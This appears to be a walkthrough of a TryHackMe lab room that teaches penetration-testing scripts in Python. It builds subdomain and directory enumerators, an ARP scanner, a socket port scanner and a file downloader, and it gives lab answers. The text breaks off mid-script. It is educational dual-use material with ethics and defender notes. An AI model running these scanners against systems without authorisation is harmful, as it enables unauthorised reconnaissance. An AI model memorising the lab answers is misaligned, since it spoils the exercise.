# Python: Pentesting Scripts (TryHackMe)

Link to the Walkthrough on TryHackMe: [**Python: Pentesting Scripts**](https://tryhackme.com/room/pythonpentestingscripts)

## Introduction

*Your team just wrapped up the reconnaissance phase of a penetration test against a mid-sized e-commerce company. The client’s scope document lists 12 subdomains, a /24 internal network, and three web applications. Your lead hands you a checklist: enumerate every subdomain for hidden services, scan the internal network for live hosts, probe open ports on each one, and test a set of harvested password hashes against a wordlist. You could fire up a dozen different tools and juggle their output formats, or you could write a handful of Python scripts that do exactly what you need, formatted exactly how you want, and integrated into a single workflow.*

That is the power Python brings to penetration testing. It is not about replacing tools like Nmap or Gobuster; it is about filling the gaps between them, automating repetitive tasks, and building custom solutions when no off-the-shelf tool fits the situation.

In the previous three rooms, you built a solid Python foundation. In [Python: Simple Demo](https://tryhackme.com/room/pythonsimpledemo), you learned variables, conditionals, and `while` loops through a guessing game. In [Python: Core Concepts](https://tryhackme.com/room/pythoncoreconcepts), you expanded into data types, strings, lists, dictionaries, `for` loops, and operators. In [Python: Building Scripts](https://tryhackme.com/room/pythonbuildingscripts), you structured real programs with functions, error handling, file I/O, and libraries, culminating in a Password Strength Checker. Every one of those skills comes into play in this room.

![Spaceship](https://cdn-images.tryhackme.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/5f04259cf9bf5b57aed2c476-1779268183673.png align="center")

## **Learning Objectives**

In this room, we shift from general-purpose scripting to security-focused automation. You will build tools that penetration testers use in real engagements:

*   **Web reconnaissance**: enumerating subdomains and directories using HTTP requests and wordlists
    
*   **Network discovery**: identifying live hosts on a local network using ARP scanning with Scapy
    
*   **Port scanning**: probing targets for open TCP ports using raw sockets
    
*   **Automated downloads**: retrieving files from remote servers during engagements
    
*   **Hash cracking**: using `hashlib` to find cleartext values behind password hashes
    
*   **Credential testing**: brute-forcing SSH logins with Paramiko
    
*   **Integration**: combining multiple tools into a cohesive mini-toolkit
    

## **Prerequisites**

Complete the following rooms before starting this one:

*   [Python: Simple Demo](https://tryhackme.com/room/pythonsimpledemo)
    
*   [Python: Core Concepts](https://tryhackme.com/room/pythoncoreconcepts)
    
*   [Python: Building Scripts](https://tryhackme.com/room/pythonbuildingscripts)
    

Each task builds a working script from the ground up. We do not just show you the final code and move on. Instead, we walk through *why* each design decision matters, build the script incrementally, and connect every pattern back to concepts from the earlier rooms.

## **A Note on Ethics and Authorization**

Every technique in this room can cause real harm if used without permission. Scanning a network you do not own is illegal in most jurisdictions. Brute-forcing credentials on a system without authorisation violates laws like the **Computer Fraud and Abuse Act (CFAA)** in the United States and the **Computer Misuse Act (CMA)** in the United Kingdom.

Throughout this room, you will run your scripts exclusively against the target machine provided by TryHackMe. In this lab environment, we are writing Python scripts for penetration testing; we will also test them against the same virtual machine we use to write them. Our `localhost` (`127.0.0.1`) will serve as our controlled, authorised environment. In professional engagements, penetration testers operate under a signed **Statement of Work (SOW)** and **Rules of Engagement (RoE)** that explicitly define which systems may be tested and which techniques are permitted. Never run these tools against systems you do not own or for which you do not have written authorisation to test.

This room assumes you are comfortable with variables, conditionals, loops, functions, error handling, file I/O, and importing libraries. We will not re-teach these concepts, but we will reference them frequently as we apply them in new contexts.

## Web Reconnaissance: Subdomain and Directory Enumeration

During the reconnaissance phase of a penetration test, one of your first objectives is to map the target’s web presence. The company’s main website might sit at `www.example.com`but what about `dev.example.com`, `staging.example.com`, or `api.example.com`? Each subdomain is a potential entry point, and each directory on those subdomains could expose admin panels, backup files, or forgotten endpoints. Tools like [Gobuster](https://github.com/OJ/gobuster) and [Sublist3r](https://github.com/aboul3la/sublist3r) handle this at scale, but understanding how they work under the hood makes you a better operator and lets you customize when those tools fall short.

In this task, we will build two closely related scripts: a **subdomain enumerator** and a **directory enumerator**. Both follow the same core pattern, which is a good illustration of how a single technique can be adapted to solve different recon problems.

### The Core Pattern: Wordlist-Driven HTTP Probing

Both tools share a straightforward strategy:

*   Read a list of candidate names from a wordlist file
    
*   Construct a URL for each candidate
    
*   Send an HTTP request and observe the response
    
*   Report the ones that respond successfully
    

One analogy would be a security guard walking down a hallway, trying every door handle. Most doors are locked (the server returns an error or refuses the connection), but a few swing open (the server responds with content). In technical terms, we send HTTP `GET` requests and interpret the responses to determine which subdomains or directories exist.

### Setting Up: The `requests` Library

The `requests` library makes HTTP communication straightforward. As we learned in the Building Scripts room, third-party libraries extend Python’s capabilities. On the target VM, `requests` is pre-installed and ready to use.

Note: If you prefer to run these Python scripts using your own computer, you might want to check whether the requests library is installed. If it is not already installed on your system, you can install it with pip3 install requests or sudo apt install python3-requests depending on your system.

Part 1: Subdomain Enumeration Let’s start with subdomain enumeration. Our script will read potential subdomain names from a file, prepend each one to a target domain, and attempt an HTTP connection. If the connection succeeds, the subdomain likely exists. This final version of this script is saved as `subdomain_enum.py` in `/home/ubuntu/Pentesting-Scripts`.

**Step 1: Loading the Wordlist**

First, we need a function to read our wordlist. Notice how we use the `with` statement for safe file handling and `try/except` for error resilience, both techniques from the Building Scripts room:

```markdown
def load_wordlist(filepath):
    """Read a wordlist file and return a list of stripped lines."""
    try:
        with open(filepath, "r") as f:
            words = [line.strip() for line in f if line.strip()]
        print(f"[*] Loaded {len(words)} entries from {filepath}")
        return words
    except FileNotFoundError:
        print(f"[!] Error: '{filepath}' not found.")
        return []
```

A few things to observe. The list comprehension `[line.strip() for line in f if line.strip()]` does three things in one line: it iterates through every line in the file, strips whitespace from each one, and skips any blank lines. If the file does not exist, we catch the error and return an empty list instead of crashing. This is exactly the kind of resilient design we practiced in the Password Strength Checker.

**Step 2: Probing Subdomains**

Next, we write the function that actually tests each subdomain:

```markdown
import requests

def enumerate_subdomains(domain, wordlist):
    """Test each subdomain candidate against the target domain."""
    found = []

    for sub in wordlist:
        url = f"http://{sub}.{domain}"
        try:
            requests.get(url, timeout=3)
            print(f"[+] Found: {url}")
            found.append(url)
        except requests.ConnectionError:
            pass
        except requests.Timeout:
            pass

    return found
```

Let’s break this down. For each entry in the wordlist, we construct a URL by prepending the subdomain candidate to the target domain using an f-string. The `requests.get()` call attempts to connect. If the connection succeeds (no exception raised), the subdomain likely exists, and we add it to our results. If the connection fails, `requests.ConnectionError` is raised, and we silently move on. We also catch `requests.Timeout` to handle cases where a server is too slow to respond within 3 seconds.

Why do we use `pass` instead of printing an error for every failure? During enumeration, the vast majority of candidates will fail. Printing thousands of failure messages would drown out the results that actually matter.

**Step 3: Putting It Together**

```markdown
import sys

def main():
    if len(sys.argv) != 3:
        print(f"Usage: python3 {sys.argv[0]} <domain> <wordlist>")
        print(f"Example: python3 {sys.argv[0]} example.com subdomains.txt")
        sys.exit(1)

    domain = sys.argv[1]
    wordlist_path = sys.argv[2]

    print(f"[*] Starting subdomain enumeration for {domain}")
    wordlist = load_wordlist(wordlist_path)

    if not wordlist:
        print("[!] No words to test. Exiting.")
        sys.exit(1)

    results = enumerate_subdomains(domain, wordlist)
    print(f"\n[*] Enumeration complete. Found {len(results)} subdomain(s).")

main()
```

We use `sys.argv` to accept the target domain and wordlist path as command-line arguments. The script validates that the user provided both arguments; if not, it prints a usage message and exits. This is a common pattern in command-line tools.

> **Note**: Subdomain enumeration is designed for domain-name targets (e.g., `example.com`), not bare IP addresses. The target machine for this room is accessed directly by IP, so running subdomain enumeration against it will not find meaningful results — URLs like `http://admin.10.10.10.5` are not real hostnames. The example output below is for illustrative purposes only; in a real engagement you would target a domain such as `example.com`.

```markdown
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 subdomain_enum.py example.thm subdomains.txt
[*] Starting subdomain enumeration for example.thm
[*] Loaded 15 entries from subdomains.txt
[+] Found: http://admin.example.thm
[+] Found: http://dev.example.thm

[*] Enumeration complete. Found 2 subdomain(s).
```

Remember that the subdomain\_enum.py script cannot be tested because we are only using one machine for software development.

### Part 2: Directory Enumeration

Once you know which subdomains exist, the next step is to find directories and files on each one. The pattern is almost identical; only the URL construction changes. This final version of this script is saved as `dir_enum.py` in `/home/ubuntu/Pentesting-Scripts`.

```plaintext
def enumerate_directories(target_url, wordlist, extension=".html"):
    """Test each directory/file candidate against the target URL."""
    found = []

    for entry in wordlist:
        url = f"{target_url}/{entry}{extension}"
        try:
            r = requests.get(url, timeout=3)
            if r.status_code != 404:
                print(f"[+] {r.status_code} - {url}")
                found.append(url)
        except requests.ConnectionError:
            pass
        except requests.Timeout:
            pass

    return found
```

Can you spot the two differences from our subdomain function? First, instead of prepending to a domain, we append to a URL path. Second, we check the HTTP status code. A 404 response means the page does not exist, so we skip it. Any other **status code** (`200` for success, `301` for redirect, `403` for forbidden) indicates the directory or file is present, and each of those codes tells a different story about what we found.

A `403 Forbidden` response is particularly interesting from a pentester’s perspective. It means the resource exists, but we lack permission to access it. That is valuable reconnaissance data; it tells you where to look harder.

Let's run directory enumeration against the target machine`http://MACHINE_IP:8080`, i.e., targeting port`8080`, as shown below:

```markdown
ubuntu@tryhackme:~/Pentesting-Scripts$ python3 dir_enum.py http://MACHINE_IP:8080 wordlist.txt
[*] Starting directory enumeration for http://127.0.0.1:8080
[*] Loaded 58 entries from wordlist.txt
[+] 200 - http://MACHINE_IP:8080/index.html

[*] Enumeration complete. Found 1 valid path(s).
```

Go ahead and run the directory enumeration targeting port `8000` on the target machine, i.e., `http://MACHINE_IP:8000`, as shown below and see what you can discover.

```plaintext
ubuntu@tryhackme:~/Pentesting-Scripts$ python3 dir_enum.py http://MACHINE_IP:8000 wordlist.txt
```

### Answer the questions below

Run the directory enumeration script against the target machine's port 8000. How many .html pages can your script identify? `5`

```jsx
python3 subdomain_enum.py example.thm target_urls.txt
[*] Starting subdomain enumeration for example.thm
[*] Loaded 3 entries from target_urls.txt

[*] Enumeration complete. Found 0 subdomain(s).
ubuntu@tryhackme:~/Pentesting-Scr
```

```jsx
python3 dir_enum.py http://IP_Address:8080 wordlist.txt
[*] Starting directory enumeration for http://IP_Address:8080
[*] Loaded 58 entries from wordlist.txt
[+] 200 - http://IP_Address:8080/index.html

[*] Enumeration complete. Found 1 valid path(s).
```

```jsx
python3 dir_enum.py http://IP_Address:8000 
wordlist.txt
[*] Starting directory enumeration for http://IP_Address:8000
[*] Loaded 58 entries from wordlist.txt
[+] 200 - http://IP_Address:8000/admin.html
[+] 200 - http://IP_Address:8000/private.html
[+] 200 - http://IP_Address:8000/apollo.html
[+] 200 - http://IP_Address:8000/surfer.html
[+] 200 - http://IP_Address:8000/index.html

[*] Enumeration complete. Found 5 valid path(s).
```

Where is the login page located? `private.html`

## Network Discovery: ARP Scanning with Scapy

You have mapped the target’s web presence using subdomain and directory enumeration. Now imagine your engagement scope includes an internal network, and you have gained access to a machine on the local subnet. Before you can exploit anything, you need to answer a basic question: what other machines are on this network? You cannot attack what you cannot see.

The most intuitive approach is to “ping” every possible IP address and see who responds. Ping uses the **Internet Control Message Protocol (ICMP)**, and while it works in many situations, there are two significant problems. First, firewalls and host-based configurations routinely block ICMP requests. A machine that silently drops your ping is still very much alive; you just cannot tell. Second, network monitoring systems often flag ICMP sweeps as suspicious activity because regular users rarely ping entire subnets.

This is where the **Address Resolution Protocol** (**ARP**) becomes a more effective alternative. ARP operates at Layer 2 of the network stack, and every device on a local network must respond to ARP requests to function. A machine can ignore your ping, but it cannot ignore ARP without cutting itself off from the network entirely. In this task, we will build a Python-based ARP scanner using the **Scapy** library.

### How ARP Works

One analogy would be a substitute teacher calling attendance in a classroom. The teacher reads a name (the IP address) and waits for someone to raise their hand and say “That’s me” (the MAC address). Every student present must respond; otherwise, they are marked absent. ARP works the same way. When a device needs to communicate with an IP address on the local network, it broadcasts an ARP request asking, “Who has this IP?” The device with that IP responds with its **MAC (Media Access Control)** address, a unique hardware identifier assigned to its network interface.

In technical terms, our scanner will broadcast an ARP request for every IP in the target range. Each live host will reply with its MAC address, and we will collect those responses to build a network map.

### Installing Scapy

Scapy is a packet manipulation library that lets you craft, send, and parse network packets directly from Python. If you are using your own machine, install Scapy with `sudo apt install python3-scapy` or `pip3 install scapy` depending on your system.

ARP scanning requires **root privileges** because it operates at the data link layer, below the level that normal user processes can access. You will need to run the script with **sudo**.

### Building the Scanner

**Step 1: Importing Scapy**

```markdown
from scapy.all import *
```

You might recall from the Building Scripts room that wildcard imports (**from module import \***) are generally discouraged because they pollute your namespace with names you did not explicitly request. Scapy is one of the well-known exceptions to this rule. The library is designed to be used interactively and places its core functions (`Ether`, `ARP`, `srp`, `conf`) directly in the `scapy.all` namespace. Using the wildcard import here follows the convention established by Scapy’s own documentation.

**Step 2: Crafting the Packet**

An ARP scan requires a packet with two layers: an **Ethernet frame** (Layer 2) and an **ARP request** (Layer 2.5). Scapy lets us stack these layers using the `/` operator:

```markdown
def build_arp_packet(ip_range):
    """Construct an Ethernet/ARP broadcast packet for the target range."""
    broadcast_mac = "ff:ff:ff:ff:ff:ff"
    ether_layer = Ether(dst=broadcast_mac)
    arp_layer = ARP(pdst=ip_range)
    return ether_layer / arp_layer
```

Let’s break down the two layers:

*   `Ether(dst="ff:ff:ff:ff:ff:ff")` creates an Ethernet frame addressed to the broadcast MAC address. The address `ff:ff:ff:ff:ff:ff` is a special value that means “deliver this frame to every device on the network,” ensuring every host on the subnet receives our ARP request.
    
*   `ARP(pdst=ip_range)` Creates an ARP request targeting the specified IP range. The pdst parameter (protocol destination) accepts both individual addresses, such as`10.10.10.5`, and CIDR ranges, such as `10.10.10.0/24`.
    
*   The `/` operator stacks the two layers into a single packet, with Ethernet as the outer layer and ARP as the inner payload.
    

**Step 3: Sending and Receiving**

Scapy’s `srp()` function sends packets at Layer 2 and captures the responses:

```plaintext
def scan_network(ip_range, interface="eth0", timeout=2):
    """Send ARP requests and return a list of (IP, MAC) tuples for live hosts."""
    packet = build_arp_packet(ip_range)
    answered, unanswered = srp(packet, timeout=timeout, iface=interface, inter=0.1, verbose=False)

    hosts = []
    for sent, received in answered:
        ip = received[ARP].psrc
        mac = received[Ether].src
        hosts.append((ip, mac))

    return hosts
```

The `srp()` function returns two lists: answered (hosts that responded) and unanswered (hosts that did not). For each answered pair, we extract the responding host’s IP address from the ARP layer (`psrc` means “protocol source”) and its MAC address from the Ethernet layer (`src`). We set `verbose=False` to suppress Scapy’s default progress output, keeping our script’s output clean.

The `inter=0.1` parameter adds a 0.1-second delay between each packet. This slight pause prevents us from flooding the network and reduces the chance of missed responses on congested networks.

**Step 4: The Complete Script**

```markdown
from scapy.all import *
import sys

def build_arp_packet(ip_range):
    """Construct an Ethernet/ARP broadcast packet for the target range."""
    broadcast_mac = "ff:ff:ff:ff:ff:ff"
    ether_layer = Ether(dst=broadcast_mac)
    arp_layer = ARP(pdst=ip_range)
    return ether_layer / arp_layer

def scan_network(ip_range, interface="eth0", timeout=2):
    """Send ARP requests and return a list of (IP, MAC) tuples for live hosts."""
    packet = build_arp_packet(ip_range)
    answered, unanswered = srp(packet, timeout=timeout, iface=interface, inter=0.1, verbose=False)

    hosts = []
    for sent, received in answered:
        ip = received[ARP].psrc
        mac = received[Ether].src
        hosts.append((ip, mac))

    return hosts

def main():
    if len(sys.argv) < 2:
        print(f"Usage: sudo python3 {sys.argv[0]} <ip_range> [interface]")
        print(f"Example: sudo python3 {sys.argv[0]} 10.10.10.0/24 eth0")
        sys.exit(1)

    ip_range = sys.argv[1]
    interface = sys.argv[2] if len(sys.argv) > 2 else "eth0"

    print(f"[*] Scanning {ip_range} on interface {interface}...")
    hosts = scan_network(ip_range, interface)

    if hosts:
        print(f"\n[*] Found {len(hosts)} live host(s):\n")
        print(f"{'IP Address':<20}{'MAC Address':<20}")
        print("-" * 40)
        for ip, mac in hosts:
            print(f"{ip:<20}{mac:<20}")
    else:
        print("[!] No hosts found. Check your IP range and interface.")

main()
```

Notice the formatted table output using f-string alignment `({ip:<20})`. The `<20` syntax left-aligns the value within a 20-character-wide field, producing a clean, readable table. Also note that the interface defaults to eth0 but can be overridden via a command-line argument; on some systems, the interface might be named `ens33` or`ens0`so the script needs to accommodate that.

If we run the scanner against a target network, we might see something like what's shown below. According to the Terms of Service, we should not use this scanner against the TryHackMe network.

```markdown
           $ sudo python3 arp_scanner.py 10.10.10.0/24 eth0
[*] Scanning 10.10.10.0/24 on interface eth0...

[*] Found 3 live host(s):

IP Address          MAC Address         
----------------------------------------
10.10.10.1          02:42:0a:0a:0a:01   
10.10.10.5          02:42:0a:0a:0a:05   
10.10.10.10         02:42:0a:0a:0a:0a   
```

### The Defender’s Perspective

ARP scanning is quieter than ICMP sweeps, but it is not invisible. **Network Intrusion Detection Systems (NIDS)** such as Snort or Suricata can detect ARP storms, which are bursts of ARP requests that cover an entire subnet in a short time window. Defenders can also implement **Dynamic ARP Inspection (DAI)** on managed switches, which validates ARP packets against a trusted binding table and drops suspicious ones. Additionally, monitoring for unusual volumes of broadcast traffic is a standard practice in mature security operations centers.

### Answer the questions below

What Scapy function sends packets at Layer 2 and captures responses? `srp()`

Which variable in the script would you change to run the scan on a network interface named ens33? `interface`

## Port Scanning with Sockets

In the previous task, let's imagine that your ARP scanner revealed three live hosts on the target network. You now have IP addresses, but IP addresses alone do not tell you much. What services are those machines running? Is there a web server on port 80? An SSH daemon on port 22? A database exposed on port 3306 that should never be reachable from the network? To answer these questions, you need to scan for open **ports**.

Every network service listens on a specific port number, which is a 16-bit integer ranging from 0 to 65,535. One analogy would be an apartment building. The building’s street address is the IP address, and each apartment number is a port. Knowing the building exists (ARP scan) is useful, but you need to know which apartments are occupied (port scan) before you can knock on the right door. In technical terms, a port scan systematically attempts to connect to each port on a target host and records which accept the connection.

### TCP Connect Scanning

The simplest port scanning technique is the **TCP connect scan**. It uses the standard **three-way handshake** that every TCP connection begins with:

1.  The scanner sends a `SYN` (synchronize) packet to the target port
    
2.  If the port is open, the target responds with a `SYN-ACK` (synchronize-acknowledge)
    
3.  The scanner completes the handshake by sending an `ACK` (acknowledge)
    

If the port is closed, the target responds with a **RST** (reset) packet instead of a `SYN-ACK`, and the connection attempt fails immediately. Python’s built-in `socket` module handles the entire handshake for us; we simply attempt a connection and check whether it succeeds.

### The socket Module

Unlike requests or scapy, the socket module is part of Python’s standard library, so there is nothing to install. Sockets are the fundamental building blocks for network communication. As we learned in the Building Scripts room, the standard library provides a rich set of modules that cover common tasks without requiring third-party packages.

### Building the Scanner

**Step 1: Probing a Single Port**

Let’s start with a function that tests one port at a time:

```markdown
import socket

def probe_port(ip, port, timeout=0.5):
    """Attempt a TCP connection to ip:port. Return True if open, False otherwise."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((ip, port))
        sock.close()
        return result == 0
    except socket.error:
        return False
```

Let’s walk through each line. `socket.socket(socket.AF_INET, socket.SOCK_STREAM)` Creates a new TCP socket. The `AF_INET` constant specifies IPv4, and `SOCK_STREAM` specifies TCP (as opposed to `SOCK_DGRAM` for UDP). We set a 0.5-second timeout so the scanner does not hang on unresponsive ports. The key method is`connect_ex()`, which attempts a connection and returns `0` on success instead of raising an exception. This is more efficient than using `connect()` inside a `try/except` block when you are calling the function thousands of times. After checking the result, we close the socket to free the resource.

Why `connect_ex()` instead of `connect()`? The `connect()` method raises an OSError on failure, and creating and handling exceptions has overhead. When you are probing tens of thousands of ports, that overhead adds up. `connect_ex()` returns an error code instead, making the fast path (closed ports) cheaper.

**Step 2: Scanning a Range of Ports**

Now we wrap the single-port probe in a loop:

```plaintext
def scan_ports(ip, port_range, timeout=0.5):
    """Scan a range of ports on the target IP and return a list of open ports."""
    open_ports = []

    for port in port_range:
        if probe_port(ip, port, timeout):
            print(f"[+] Port {port} is open")
            open_ports.append(port)

    return open_ports
```

This function accepts a `port_range`, which can be any `iterable: range(1, 1025)` for the first `1,024` well-known ports, a custom list like `[21, 22, 80, 443, 3306, 8080]` for targeted scans, or `range(1, 65536)` for a full scan. Targeted scans are far faster and less noisy. During a real engagement, you would typically start with common ports and expand only if needed.

**Step 3: Resolving Hostnames**

Sometimes you will want to scan a hostname rather than an IP address. Let’s add a resolution step:

```markdown
def resolve_target(target):
    """Resolve a hostname to an IP address. Return the IP if already valid."""
    try:
        ip = socket.gethostbyname(target)
        if ip != target:
            print(f"[*] Resolved {target} to {ip}")
        return ip
    except socket.gaierror:
        print(f"[!] Could not resolve {target}")
        return None
```

The `gethostbyname()` function performs a DNS lookup. If the target is already an IP address, it returns it unchanged. The gaierror exception (short for “get address info error”) occurs when DNS resolution fails.

**Step 4: The Complete Script**

```plaintext
import socket
import sys

def probe_port(ip, port, timeout=0.5):
    """Attempt a TCP connection to ip:port. Return True if open, False otherwise."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((ip, port))
        sock.close()
        return result == 0
    except socket.error:
        return False

def scan_ports(ip, port_range, timeout=0.5):
    """Scan a range of ports on the target IP and return a list of open ports."""
    open_ports = []

    for port in port_range:
        if probe_port(ip, port, timeout):
            print(f"[+] Port {port} is open")
            open_ports.append(port)

    return open_ports

def resolve_target(target):
    """Resolve a hostname to an IP address. Return the IP if already valid."""
    try:
        ip = socket.gethostbyname(target)
        if ip != target:
            print(f"[*] Resolved {target} to {ip}")
        return ip
    except socket.gaierror:
        print(f"[!] Could not resolve {target}")
        return None

def main():
    if len(sys.argv) < 2:
        print(f"Usage: python3 {sys.argv[0]} <target> [max_port]")
        print(f"Example: python3 {sys.argv[0]} MACHINE_IP 1024")
        sys.exit(1)

    target = sys.argv[1]
    max_port = int(sys.argv[2]) if len(sys.argv) > 2 else 1024

    ip = resolve_target(target)
    if not ip:
        sys.exit(1)

    print(f"[*] Scanning {ip} (ports 1-{max_port})...\n")
    open_ports = scan_ports(ip, range(1, max_port + 1))

    if open_ports:
        print(f"\n[*] Scan complete. {len(open_ports)} open port(s) found:")
        print(f"{'Port':<10}{'Likely Service':<20}")
        print("-" * 30)

        common_services = {
            21: "FTP", 22: "SSH", 23: "Telnet",
            25: "SMTP", 53: "DNS", 80: "HTTP",
            110: "POP3", 143: "IMAP", 443: "HTTPS",
            445: "SMB", 3306: "MySQL", 3389: "RDP",
            8080: "HTTP Proxy", 8443: "HTTPS Alt"
        }

        for port in sorted(open_ports):
            service = common_services.get(port, "Unknown")
            print(f"{port:<10}{service:<20}")
    else:
        print("\n[!] No open ports found.")

main()
```

A few design decisions are worth highlighting. The common\_services dictionary maps well-known port numbers to their typical services. We use the `.get()` method with a default of "Unknown" so that uncommon ports still display cleanly. This is the same dictionary pattern we practiced in the Core Concepts room. The script also accepts an optional `max_port` argument, with a default of`1024`, so users can control the scan scope from the command line.

Let’s run it against the target machine and scan the first one thousand ports:

```markdown
           ubuntu@tryhackme:~/Pentesting-Scripts$ python3 port_scanner.py 127.0.0.1 1000
[*] Scanning 127.0.0.1 (ports 1-1000)...

[+] Port 22 is open
[+] Port 80 is open
[+] Port 631 is open

[*] Scan complete. 3 open port(s) found:
Port      Likely Service
------------------------------
22        SSH
80        HTTP
631       Unknown
```

### Performance Considerations

You might notice that scanning all `65,535` ports takes a while. Our script tests ports sequentially, one at a time. Professional tools like Nmap use techniques such as parallel scanning (testing multiple ports simultaneously using threads or asynchronous I/O) and SYN scanning (sending only the SYN packet without completing the handshake), which are faster and stealthier. Python supports both threading and asynchronous programming, but those are advanced topics beyond the scope of this room. For now, keeping the scan range focused on common ports is the practical approach.

### The Defender’s Perspective

Port scanning is one of the most commonly detected reconnaissance activities. Firewalls log connection attempts, and Intrusion Detection Systems (IDSs) can flag sequential port-scanning patterns. Defenders mitigate port scans by closing unnecessary ports, using firewalls to restrict access to sensitive services, and deploying tools such as `fail2ban` to temporarily block IP addresses exhibiting scanning behavior. Some organizations go further with port knocking, a technique in which a service opens its port only after it receives a specific sequence of connection attempts on other ports.

### Answer the questions below

What socket method attempts a connection and returns 0 on success instead of raising an exception? `connect_ex()`

Run the port scanner against the target machine of IP address MACHINE\_IP. How many ports under 10000 are open? `5`

```markdown
 python3 port_scanner.py 127.0.0.1 10000
[*] Scanning 127.0.0.1 (ports 1-10000)...

[+] Port 22 is open
[+] Port 80 is open
[+] Port 631 is open
[+] Port 5901 is open
[+] Port 8000 is open
[+] Port 8080 is open

[*] Scan complete. 6 open port(s) found:
Port      Likely Service      
------------------------------
22        SSH                 
80        HTTP                
631       Unknown             
5901      Unknown             
8000      Unknown             
8080      HTTP Proxy     
```

```markdown
python3 port_scanner.py IP_Address 12000
[*] Scanning IP_Address (ports 1-12000)...

[+] Port 22 is open
[+] Port 80 is open
[+] Port 5901 is open
[+] Port 8000 is open
[+] Port 8080 is open

[*] Scan complete. 5 open port(s) found:
Port      Likely Service      
------------------------------
22        SSH                 
80        HTTP                
5901      Unknown             
8000      Unknown             
8080      HTTP Proxy       
```

What is the top open port number under 10000 on the target system? `8080`

## Automating Downloads and Data Retrieval

Picture this scenario. You have compromised a web server during an engagement and discovered an exposed directory listing. Inside, you find configuration files, database backups, and JavaScript libraries, dozens of files you need to pull down for offline analysis. You could right-click each one and save it individually, or use command-line tools like `wget` on Linux or `certutil` on Windows. But what if you need to download files from a list of URLs, rename them programmatically, verify their integrity, or integrate the download step into a larger automation pipeline? That is where a Python-based downloader becomes indispensable.

In this task, we will build a flexible file downloader using the `requests` library we already used in Task 2. The core concept is simple, but we will extend it to handle real-world complications: large files, different content types, and basic error resilience.

### The Basics: Downloading a Single File

At its simplest, downloading a file in Python is a three-step process: send an HTTP GET request, receive the response content, and write it to disk. Let’s start with a straightforward function:

```markdown
import requests

def download_file(url, output_path):
    """Download a file from a URL and save it locally."""
    try:
        r = requests.get(url, allow_redirects=True, timeout=10)
        r.raise_for_status()

        with open(output_path, "wb") as f:
            f.write(r.content)

        print(f"[+] Downloaded: {output_path} ({len(r.content)} bytes)")
        return True

    except requests.ConnectionError:
        print(f"[!] Connection failed: {url}")
        return False
    except requests.Timeout:
        print(f"[!] Request timed out: {url}")
        return False
    except requests.HTTPError as e:
        print(f"[!] HTTP error: {e}")
        return False
```

Several details here deserve attention. The `allow_redirects=True` parameter tells requests to automatically follow HTTP redirects. Many download URLs redirect through one or more intermediate servers before reaching the actual file; without this flag, you would receive the redirect response instead of the file content. The `raise_for_status()` method checks whether the server returned an error code (like `404` or `500`) and raises an HTTPError if it did. This is a cleaner pattern than manually checking `r.status_code` for every possible error.

We open the output file in **binary write mode ("wb")** rather than text mode **("w")**. This is critical. Files like images, executables, and archives contain raw bytes that do not represent text. Writing them in text mode would corrupt the data because Python would attempt to interpret the bytes as characters and apply encoding transformations. As a rule, always use **"wb"** when saving downloaded content unless you are certain the file is plain text.

### Handling Large Files with Streaming

The function above works well for small files, but consider what happens when you download a 500 MB disk image. The line `r.content` loads the entire file into memory at once. On a machine with limited RAM, this could cause the script to crash or slow the system to a crawl.

The solution is **streaming**: downloading and writing the file in small chunks rather than all at once.

```plaintext
def download_large_file(url, output_path, chunk_size=8192):
    """Download a file using streaming to handle large files efficiently."""
    try:
        r = requests.get(url, stream=True, allow_redirects=True, timeout=30)
        r.raise_for_status()

        total = 0
        with open(output_path, "wb") as f:
            for chunk in r.iter_content(chunk_size=chunk_size):
                f.write(chunk)
                total += len(chunk)

        print(f"[+] Downloaded: {output_path} ({total} bytes)")
        return True

    except (requests.ConnectionError, requests.Timeout, requests.HTTPError) as e:
        print(f"[!] Download failed: {e}")
        return False
```

The key difference is `stream=True` in the requests.get() call. This tells requests not to download the entire response immediately. Instead, we iterate through the response body in chunks using `r.iter_content(chunk_size=8192)`, writing each 8 KB chunk to disk as it arrives. The memory footprint stays constant regardless of file size.

Notice that we also group multiple exception types into a single except clause using a `tuple: except (requests.ConnectionError, requests.Timeout, requests.HTTPError)` as `e`. This is a cleaner pattern when the recovery action is the same for all three error types.

### Practical Use Case: Downloading From a List

During an engagement, you might discover a directory listing or a configuration file that references multiple URLs. Let’s build a function that downloads files from a list:

```markdown
import os

def download_from_list(url_list, output_dir="downloads"):
    """Download files from a list of URLs into the specified directory."""
    os.makedirs(output_dir, exist_ok=True)
    results = {"success": 0, "failed": 0}

    for url in url_list:
        filename = url.split("/")[-1]
        if not filename:
            filename = "index.html"
        output_path = os.path.join(output_dir, filename)

        if download_file(url, output_path):
            results["success"] += 1
        else:
            results["failed"] += 1

    print(f"\n[*] Complete: {results['success']} downloaded, {results['failed']} failed")
    return results
```

The `os.makedirs(output_dir, exist_ok=True)` call creates the output directory if it does not already exist. The `exist_ok=True` parameter prevents an error if the directory is already there. We extract the filename from each URL by splitting on `/` and taking the last segment. If the URL ends with a / (producing an empty string), we default to `"index.html"`.

**The Complete Script**

```markdown
import requests
import sys
import os

def download_file(url, output_path):
    """Download a file from a URL and save it locally."""
    try:
        r = requests.get(url, allow_redirects=True, timeout=10)
        r.raise_for_status()

        with open(output_path, "wb") as f:
            f.write(r.content)

        print(f"[+] Downloaded: {output_path} ({len(r.content)} bytes)")
        return True

    except requests.ConnectionError:
        print(f"[!] Connection failed: {url}")
        return False
    except requests.Timeout:
        print(f"[!] Request timed out: {url}")
        return False
    except requests.HTTPError as e:
        print(f"[!] HTTP error: {e}")
        return False

def download_from_list(url_list, output_dir="downloads"):
    """Download files from a list of URLs into the specified directory."""
    os.makedirs(output_dir, exist_ok=True)
    results = {"success": 0, "failed": 0}

    for url in url_list:
        filename = url.split("/")[-1]
        if not filename:
            filename = "index.html"
        output_path = os.path.join(output_dir, filename)

        if download_file(url, output_path):
            results["success"] += 1
        else:
            results["failed"] += 1

    print(f"\n[*] Complete: {results['success']} downloaded, {results['failed']} failed")
    return results

def main():
    if len(sys.argv) < 2:
        print(f"Usage: python3 {sys.argv[0]} <url_or_file>")
        print(f"  Single file:  python3 {sys.argv[0]} http://example.com/file.zip")
        print(f"  From list:    python3 {sys.argv[0]} urls.txt")
        sys.exit(1)

    target = sys.argv[1]

